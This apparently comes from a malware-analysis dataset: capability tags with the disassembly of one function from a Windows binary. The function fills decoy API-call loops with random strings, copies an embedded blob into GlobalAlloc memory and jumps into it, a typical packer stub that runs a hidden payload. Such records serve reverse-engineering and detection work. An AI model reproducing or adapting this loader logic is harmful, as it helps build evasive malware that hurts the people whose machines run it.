Function at 0x40222c
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Terminate thread

Disassembly:
mov eax, 0x41b169
call fcn.0041b068
mov ecx, dword [0x2d19398]
sub esp, 0x8d4
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x402313
push str.tediwipalu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
bts dword [eax], 0
lea eax, [ebp - 0x4dc]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x8dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.00406828
pop ecx
push ebx
call fcn.00405714
lea ecx, [ebp - 0x20]
mov dword [esp], str.bad_exception
call fcn.00401104
lea ecx, [ebp - 0x20]
call fcn.00401120
push ebx
push ebx
call fcn.004056ce
push ebx
call fcn.00406443
add esp, 0xc
push ebx
call fcn.0040689f
pop ecx
push ebx
call fcn.00406443
mov dword [esp], 0x42282c
call fcn.0040646d
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00402c3d
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00402c4a
push ecx
push ecx
lea ecx, [ebp - 0xdc]
call fcn.00402c87
lea ecx, [ebp - 0xdc]
call fcn.00402496
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402c77
mov ecx, dword [0x2d19398]
mov eax, dword [0x428ee8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2d1939c], eax
mov dword [0x2d19398], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2d1838c], eax
call fcn.004021c1
mov esi, 0x29156e
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x402340
mov ecx, dword [0x2d19398]
mov esi, ebx
test ecx, ecx
je 0x4023b3
mov eax, dword [0x2d1939c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d1838c]
mov byte [eax + esi], cl
mov ecx, dword [0x2d19398]
cmp ecx, 0x490
jne 0x4023ae
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x8dc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x4dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x2d19398]
inc esi
cmp esi, ecx
jb 0x402356
mov esi, ebx
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x402403
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea eax, [ebp - 0x24]
push eax
push ebx
lea eax, [ebp - 0x8dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
lea eax, [ebp - 0x4dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ecx, dword [0x2d19398]
inc esi
cmp esi, 0x38681
jl 0x4023b5
push ecx
call fcn.0040217e
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x402424
call fcn.004021a5
inc esi
cmp esi, 0x674db
jl 0x402414
push 0x7b
pop esi
cmp dword [0x2d19398], 0x86
jne 0x402472
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push str.kixugawixakufuvudivisikiros
push str.noyoj
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec esi
jne 0x402430
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d1838c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret